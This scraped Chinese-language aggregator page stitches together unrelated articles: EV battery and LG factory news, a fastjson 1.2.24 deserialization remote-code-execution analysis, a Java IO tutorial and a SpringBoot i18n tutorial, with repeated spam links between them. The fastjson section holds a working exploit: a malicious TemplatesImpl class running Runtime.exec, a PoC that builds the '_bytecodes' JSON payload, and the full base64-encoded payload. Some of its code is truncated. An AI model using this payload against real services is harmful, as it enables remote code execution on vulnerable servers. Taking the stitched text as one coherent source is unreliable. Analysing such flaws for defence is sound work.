中國電動車專委會:固態電池將是下個趨勢產業

中國北京理工大學電動車輛國家工程實驗室、中國電工技術學會電動車輛專業委員會委員孫立清17日於第六屆中國鋰電新能源產業生態大會接受中證網專訪時表示,固態電池將是下一個「風口」,這主要因此類電池將使電動汽車充電時間短,續航里程長,而這正是新能源電池未來主要發展趨勢。

孫立清認為,未來新能源汽車電池領域將會呈現多元化發展,多種材料電池共生共存,而矽碳電池發展空間較大,因其原材料取之不盡。

孫立清還指出,新能源汽車頻繁的事故說明了新能源汽車還有非常大的改進空間,新能源汽車發展任重道遠,未來企業需要在提升品質、增加效率、確保安全、促進產量方面下功夫。其中,增加效率方面,需要達成輕量化、高效動力系統、能量再生回饋;在確保安全方面,要確保整車安全、電池組成組安全、高壓控制安全;促進產量方面,則可從新型製造技術、自動化管理、裝備三方面著手。

(本文內容由授權使用)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

看好電動車!LG電子擬砸2500萬美元、赴美建零件廠

看好電動車前景,LG電子23日宣布斥資2,500萬美元,要在美國興建電動車零件廠房。

The Investor、ET News報導,LG廠房將座落在底特律郊區Hazel Park,預定2018年初完工,一開始將為電動車供應電池組,未來還會提供更多關鍵零組件。

LG指出,去年美國的電動車合併銷售量為104,178台,跟中國(電動車銷售量為257,929台)、歐洲(108,649台)並列全球前三大電動車市場。

LG估計,至2020年為止,美國電動車市場每年平均可望成長65.5%。

這座廠房除了將供應通用汽車(GM)的電動車「Bolt」之外,也不排除向福特(Ford)、飛雅特克萊斯勒汽車(Fiat Chrysler Automobiles, FCA)爭取電動車零件訂單。

Electrek,福斯汽車(Volkswagen)研發部主管Ulrich Eichhorn 6月底就曾預估,業界需要多達40座規模跟特斯拉Gigafactory類似的超大電池廠,才能滿足電動車需求,假如新建礦場、工廠無法如期上線,那麼市場恐陷入短缺。

根據Eichhorn的估計,到了2025年,光是福斯集團就需要用到200 GWh的車用電池,至於其他汽車製造商,屆時也會有25%的產能屬於電動車。他是以Gigafactory的年產能可達35 GWh進行推估。

(本文內容由授權使用。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

fastjson 1.2.24反序列化導致任意命令執行漏洞分析記錄

環境搭建:

漏洞影響版本:

fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞

環境地址:

正常訪問頁面返回hello,world~

 

此時抓包修改content-type為json格式,並post payload,即可執行rce

 此時就能夠創建success文件

前置知識:

研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

這裏user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,

可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象

漏洞分析:

這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那麼這個類的構造函數是我們可控的,就能夠rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //將evilcode放在_bytecodes處
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我們已經知道在反序列化解析json字符串時在parseobject時觸發

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下斷點,運行poc.java

此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload

 此時判斷我們傳入的features是否為null,這裏

我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload

 此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進

 此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這裏兩處不滿足,所以調用parse.parse來解析

實際上此時又回到了

並且在此調用parseObject函數來處理我們的payload

接下來一部分就是語法解析,先匹配出了其中的雙引號”,

 比如先在parseObject函數中匹配出了@type

 匹配出@type標誌以後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類

 繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,

跟進此函數,則可以看到此時token為16並且text為我們的payload

 接下來會調用parseField函數來對json字符串中的一些key值進行匹配

 這個方法裏面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除

 當處理到_outputProperties字段時,步入其smartMatch方法

 此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性

 

 此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,

 

 這裏首先判斷_name字段不能為空,這也是為啥payload裏面會設置一個_name字段

 接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可, 

可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,

 

縮減后的整個調用鏈即為:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

參考:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

Java IO入門

目錄

我們從兩個方面來理解Java IO,數據源(流)、數據傳輸,即IO的核心就是對數據源產生的數據進行讀寫並高效傳輸的過程。

一. 數據源(流)

數據源可以理解為水源,指可以產生數據的事物,如硬盤(文檔、數據庫等文件…)、網絡(填寫的form表單、物聯感知信息..),在Java中有對文件及文件夾操作的類File,常用的文件方法如下:

public static void printFileDetail(File file) throws IOException {
    System.out.println("文件是否存在:" + file.exists());
    if(!file.exists()){
        System.out.println("創建文件:" + file.getName());
        file.createNewFile();
    }
    if(file.exists()){
        System.out.println("是否為文件:" + file.isFile());
        System.out.println("是否為文件夾:" + file.isDirectory());
        System.out.println("文件名稱:" + file.getName());
        System.out.println("文件構造路徑:" + file.getPath());
        System.out.println("文件絕對路徑:" + file.getAbsolutePath());
        System.out.println("文件標準路徑:" + file.getCanonicalPath());
        System.out.println("文件大小:" + file.length());
        System.out.println("所在文件夾路徑:" + file.getParentFile().getCanonicalPath());
        System.out.println("設置為只讀文件:" + file.setReadOnly());
    }
}
public static void main(String[] args) throws IOException {
    File file = new File("./遮天.txt");
    printFileDetail(file);
}

結果如下:

文件是否存在:false
創建文件:遮天.txt
是否為文件:true
是否為文件夾:false
文件名稱:遮天.txt
文件構造路徑:.\遮天.txt
文件絕對路徑:E:\idea-work\javase-learning\.\遮天.txt
文件標準路徑:E:\idea-work\javase-learning\遮天.txt
文件大小:0
所在文件夾路徑:E:\idea-work\javase-learning
設置為只讀文件:true

二. 數據傳輸

數據傳輸的核心在於傳輸數據源產生的數據,Java IO對此過程從兩方面進行了考慮,分別為輸入流和輸出流,輸入流完成外部數據向計算機內存寫入,輸出流則反之。

而針對輸入流和輸出流,Java IO又從字節和字符的不同,再次細分了字節流和字符流。

說明:Java中最小的計算單元是字節,沒有字符流也能進行IO操作,只是因為現實中大量的數據都是文本字符數據,基於此單獨設計了字符流,使操作更簡便。

4個頂層接口有了,接下來Java IO又從多種應用場景(包括了基礎數據類型、文件、數組、管道、打印、序列化)和傳輸效率(緩衝操作)進行了考慮,提供了種類眾多的Java IO流的實現類,看下圖:

當然我們不用都記住,而實際在使用過程中用的最多的還是文件類操作、轉換類操作、序列化操作,當然在此基礎上我們可以使用Buffered來提高效率(Java IO使用了裝飾器模式)。下面我們通過文件拷貝來簡單說明一下主要類的使用

    /**
     * 文件拷貝(所有文件,文檔、視頻、音頻、可執行文件...),未使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void slowlyCopyFile(String sourceFileName, String targetFileName) throws IOException{
        //獲取字節輸入流
        FileInputStream fileInputStream = new FileInputStream(sourceFileName);
        //File targetFile = new File(targetFileName);
        //獲取字節輸出流
        FileOutputStream fileOutputStream = new FileOutputStream(targetFileName);
        byte[] bytes = new byte[1024];
        //當為-1時說明讀取到最後一行了
        while ((fileInputStream.read(bytes)) != -1) {
            fileOutputStream.write(bytes);
        }
        fileInputStream.close();
        fileOutputStream.close();
    }
    
    /**
     * 文件拷貝(所有文件,文檔、視頻、音頻、可執行文件...),使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void fastCopyFile(String sourceFileName, String targetFileName) throws IOException{
        //獲取字節輸入流
        FileInputStream fileInputStream = new FileInputStream(sourceFileName);
        //緩衝字節輸入流
        BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
        //獲取字節輸出流
        FileOutputStream fileOutputStream = new FileOutputStream(targetFileName);
        //緩衝字節輸出流
        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);
        byte[] bytes = new byte[1024];

        //當為-1時說明讀取到最後一行了
        while ((bufferedInputStream.read(bytes)) != -1) {
            bufferedOutputStream.write(bytes);
        }
        bufferedOutputStream.flush();
        bufferedInputStream.close();
        fileInputStream.close();
        bufferedOutputStream.close();
        fileOutputStream.close();
    }

    public static void main(String[] args) throws IOException {
        long startTime = System.currentTimeMillis();
        //文件215M
        slowlyCopyFile("D:\\Download\\jdk-8u221.exe","D:\\jdk-8u221.exe");//執行:1938ms
        fastCopyFile("D:\\Download\\jdk-8u221.exe","D:\\jdk-8u221.exe");//執行:490ms
        System.out.println(System.currentTimeMillis() - startTime);
    }
    /**
     * 文本文件拷貝,不使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void slowlyCopyTextFile(String sourceFileName, String targetFileName) throws IOException {
        FileReader fileReader = new FileReader(sourceFileName);
        FileWriter fileWriter = new FileWriter(targetFileName);
        int c;
        while ((c = fileReader.read()) != -1) {
            fileWriter.write((char)c);
        }
        fileReader.close();
        fileWriter.close();
    }

    /**
     * 文本文件拷貝,使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void fastCopyTextFile(String sourceFileName, String targetFileName) throws IOException {
        FileReader fileReader = new FileReader(sourceFileName);
        BufferedReader bufferedReader = new BufferedReader(fileReader);
        FileWriter fileWriter = new FileWriter(targetFileName);
        BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);
        String str;
        while ((str = bufferedReader.readLine()) != null) {
            bufferedWriter.write(str + "\n");
        }
        bufferedReader.close();
        fileReader.close();
        bufferedWriter.close();
        fileWriter.close();
    }

    public static void main(String[] args) throws IOException {
        long startTime = System.currentTimeMillis();
        //文件30M
        slowlyCopyTextFile("D:\\Download\\小說合集.txt","D:\\小說合集.txt");//3182ms
        fastCopyTextFile("D:\\Download\\小說合集.txt","D:\\小說合集.txt");//1583ms
        System.out.println(System.currentTimeMillis() - startTime);
    }

三. 總結

本文主要對Java IO相關知識點做了結構性梳理,包括了Java IO的作用,數據源File類,輸入流,輸出流,字節流,字符流,以及緩衝流,不同場景下的更細化的流操作類型,同時用了一個文件拷貝代碼簡單地說明了主要的流操作,若有不對之處,請批評指正,望共同進步,謝謝!。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

SpringBoot系列之i18n集成教程

目錄

SpringBoot系統之i18n國際化語言集成教程
@

1、環境搭建

本博客介紹一下SpringBoot集成i18n,實現系統語言國際化處理,ok,先創建一個SpringBoot項目,具體的參考我的博客專欄:

環境準備:

  • IntelliJ IDEA
  • Maven

項目集成:

  • Thymeleaf(模板引擎,也可以選jsp或者freemark)
  • SpringBoot2.2.1.RELEASE

2、resource bundle資源配置

ok,要實現國際化語言,先要創建resource bundle文件:
在resources文件夾下面創建一個i18n的文件夾,其中:

  • messages.properties是默認的配置
  • messages_zh_CN.properties是(中文/中國)
  • messages_en_US.properties是(英文/美國)
  • etc.

    IDEA工具就提供了很簡便的自動配置功能,如圖,只要點擊新增按鈕,手動輸入,各配置文件都會自動生成屬性

    messages.properties:

messages.loginBtnName=登錄~
messages.password=密碼~
messages.rememberMe=記住我~
messages.tip=請登錄~
messages.username=用戶名~

messages_zh_CN.properties:

messages.loginBtnName=登錄
messages.password=密碼
messages.rememberMe=記住我
messages.tip=請登錄
messages.username=用戶名

messages_en_US.properties:

messages.loginBtnName=login
messages.password=password
messages.rememberMe=Remember me
messages.tip=Please login in
messages.username=userName

在項目的application.properties修改默認配置,讓SpringBoot的自動配置能讀取到resource bundle資源文件

## 配置i18n
# 默認是i18n(中文/中國)
spring.mvc.locale=zh_CN
# 配置resource bundle資源文件的前綴名eg:i18n是文件夾名,messages是資源文件名,支持的符號有.號或者/
spring.messages.basename=i18n.messages
# 設置緩存時間,2.2.1是s為單位,之前版本才是毫秒
spring.messages.cache-duration=1
# 設置資源文件編碼格式為utf8
spring.messages.encoding=utf-8

注意要點:

  • spring.messages.basename必須配置,否則SpringBoot的自動配置將失效
    MessageSourceAutoConfiguration.ResourceBundleCondition 源碼:
protected static class ResourceBundleCondition extends SpringBootCondition {
        //定義一個map緩存池
        private static ConcurrentReferenceHashMap<String, ConditionOutcome> cache = new ConcurrentReferenceHashMap<>();

        @Override
        public ConditionOutcome getMatchOutcome(ConditionContext context, AnnotatedTypeMetadata metadata) {
            String basename = context.getEnvironment().getProperty("spring.messages.basename", "messages");
            ConditionOutcome outcome = cache.get(basename);//緩存拿得到,直接從緩存池讀取
            if (outcome == null) {//緩存拿不到,重新讀取
                outcome = getMatchOutcomeForBasename(context, basename);
                cache.put(basename, outcome);
            }
            return outcome;
        }

        private ConditionOutcome getMatchOutcomeForBasename(ConditionContext context, String basename) {
            ConditionMessage.Builder message = ConditionMessage.forCondition("ResourceBundle");
            for (String name : StringUtils.commaDelimitedListToStringArray(StringUtils.trimAllWhitespace(basename))) {
                for (Resource resource : getResources(context.getClassLoader(), name)) {
                    if (resource.exists()) {
                    //匹配resource bundle資源
                        return ConditionOutcome.match(message.found("bundle").items(resource));
                    }
                }
            }
            return ConditionOutcome.noMatch(message.didNotFind("bundle with basename " + basename).atAll());
        }
        //解析資源文件
        private Resource[] getResources(ClassLoader classLoader, String name) {
            String target = name.replace('.', '/');//spring.messages.basename參數值的點號換成斜桿
            try {
                return new PathMatchingResourcePatternResolver(classLoader)
                        .getResources("classpath*:" + target + ".properties");
            }
            catch (Exception ex) {
                return NO_RESOURCES;
            }
        }

    }
  • cache-duration在2.2.1版本,指定的是s為單位,找到SpringBoot的MessageSourceAutoConfiguration自動配置類

3、LocaleResolver類

SpringBoot默認採用AcceptHeaderLocaleResolver類作為默認LocaleResolver,LocaleResolver類的作用就是作為i18n的分析器,獲取對應的i18n配置,當然也可以自定義LocaleResolver類


import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.lang.Nullable;
import org.springframework.util.StringUtils;
import org.springframework.web.servlet.LocaleResolver;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Locale;

/**
 * <pre>
 *  自定義LocaleResolver類
 * </pre>
 * @author nicky
 * <pre>
 * 修改記錄
 *    修改后版本:     修改人:  修改日期: 2019年11月23日  修改內容:
 * </pre>
 */
public class CustomLocalResolver implements LocaleResolver {

    Logger LOG = LoggerFactory.getLogger(this.getClass());

    @Nullable
    private Locale defaultLocale;

    public void setDefaultLocale(@Nullable Locale defaultLocale) {
        this.defaultLocale = defaultLocale;
    }

    @Nullable
    public Locale getDefaultLocale() {
        return this.defaultLocale;
    }

    @Override
    public Locale resolveLocale(HttpServletRequest request) {
        Locale defaultLocale = this.getDefaultLocale();//獲取application.properties默認的配置
        if(defaultLocale != null && request.getHeader("Accept-Language") == null) {
            return defaultLocale;//http請求頭沒獲取到Accept-Language才採用默認配置
        } else {//request.getHeader("Accept-Language")獲取得到的情況
            Locale requestLocale = request.getLocale();//獲取request.getHeader("Accept-Language")的值
            String localeFlag = request.getParameter("locale");//從URL獲取的locale值
            //LOG.info("localeFlag:{}",localeFlag);
            //url鏈接有傳locale參數的情況,eg:zh_CN
            if (!StringUtils.isEmpty(localeFlag)) {
                String[] split = localeFlag.split("_");
                requestLocale = new Locale(split[0], split[1]);
            }
            //沒傳的情況,默認返回request.getHeader("Accept-Language")的值
            return requestLocale;
        }
    }

    @Override
    public void setLocale(HttpServletRequest request, HttpServletResponse response, Locale locale) {

    }
}

4、I18n配置類

I18n還是要繼承WebMvcConfigurer,注意,2.2.1版本才是實現接口就可以,之前1.+版本是要實現WebMvcConfigurerAdapter適配器類的

import com.example.springboot.i18n.component.CustomLocalResolver;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;

/**
 * <pre>
 *  I18nConfig配置類
 * </pre>
 * <p>
 * <pre>
 * @author nicky.ma
 * 修改記錄
 *    修改后版本:     修改人:  修改日期: 2019/11/24 11:15  修改內容:
 * </pre>
 */
 //Configuration必須加上,不然不能加載到Spring容器
@Configuration
//使WebMvcProperties配置類可用,這個可以不加上,本博客例子才用
@EnableConfigurationProperties({ WebMvcProperties.class})
public class I18nConfig implements WebMvcConfigurer{
    
    //裝載WebMvcProperties 屬性
    @Autowired
    WebMvcProperties webMvcProperties;
    /**
     * 定義SessionLocaleResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:52
     * @return org.springframework.web.servlet.LocaleResolver
     */
//    @Bean
//    public LocaleResolver localeResolver() {
//        SessionLocaleResolver sessionLocaleResolver = new SessionLocaleResolver();
//        // set default locale
//        sessionLocaleResolver.setDefaultLocale(Locale.US);
//        return sessionLocaleResolver;
//    }

    /**
     * 定義CookieLocaleResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:51
     * @return org.springframework.web.servlet.LocaleResolver
     */
//    @Bean
//    public LocaleResolver localeResolver() {
//        CookieLocaleResolver cookieLocaleResolver = new CookieLocaleResolver();
//        cookieLocaleResolver.setCookieName("Language");
//        cookieLocaleResolver.setCookieMaxAge(1000);
//        return cookieLocaleResolver;
//    }

    /**
     * 自定義LocalResolver
     * @Author nicky.ma
     * @Date 2019/11/24 13:45
     * @return org.springframework.web.servlet.LocaleResolver
     */
    @Bean
    public LocaleResolver localeResolver(){
        CustomLocalResolver localResolver = new CustomLocalResolver();
        localResolver.setDefaultLocale(webMvcProperties.getLocale());
        return localResolver;
    }

    /**
     * 定義localeChangeInterceptor
     * @Author nicky.ma
     * @Date 2019/11/24 13:45
     * @return org.springframework.web.servlet.i18n.LocaleChangeInterceptor
     */
    @Bean
    public LocaleChangeInterceptor localeChangeInterceptor(){
        LocaleChangeInterceptor localeChangeInterceptor = new LocaleChangeInterceptor();
        //默認的請求參數為locale,eg: login?locale=zh_CN
        localeChangeInterceptor.setParamName(LocaleChangeInterceptor.DEFAULT_PARAM_NAME);
        return localeChangeInterceptor;
    }

    /**
     * 註冊攔截器
     * @Author nicky.ma
     * @Date 2019/11/24 13:47
     * @Param [registry]
     * @return void
     */
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
     registry.addInterceptor(localeChangeInterceptor()).addPathPatterns("/**");
    }
}

注意要點:

  • 舊版代碼可以不加LocaleChangeInterceptor 攔截器,2.2.1版本必須通過攔截器
  • 如下代碼,bean的方法名必須為localeResolver,否則會報錯
@Bean
    public LocaleResolver localeResolver(){
        CustomLocalResolver localResolver = new CustomLocalResolver();
        localResolver.setDefaultLocale(webMvcProperties.getLocale());
        return localResolver;
    }

原理:
跟一下源碼,點進LocaleChangeInterceptor類

DispatcherServlet是Spring一個很重要的分發器類,在DispatcherServlet的一個init方法里找到這個LocaleResolver的init方法

這個IOC獲取的bean類名固定為localeResolver,寫例子的時候,我就因為改了bean類名,導致一直報錯,跟了源碼才知道Bean類名要固定為localeResolver

拋異常的時候,也是會獲取默認的LocaleResolver的

找到資源文件,確認,還是默認為AcceptHeaderLocaleResolver

配置了locale屬性的時候,還是選用AcceptHeaderLocaleResolver作為默認的LocaleResolver

spring.mvc.locale=zh_CN

WebMvcAutoConfiguration.localeResolver方法源碼,ConditionalOnMissingBean主鍵的意思是LocaleResolver沒有自定義的時候,才作用,ConditionalOnProperty的意思,有配了屬性才走這裏的邏輯

  • 攔截器攔截的請求參數默認為locale,要使用其它參數,必須通過攔截器設置 ,eg:localeChangeInterceptor.setParamName("lang");
  • LocalResolver種類有:CookieLocaleResolver(Cookie)、SessionLocaleResolver(會話)、FixedLocaleResolver、AcceptHeaderLocaleResolver(默認)、.etc

5、Thymeleaf集成

本博客的模板引擎採用Thymeleaf的,所以新增項目時候就要加上maven相關依賴,沒有的話,自己加上:

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

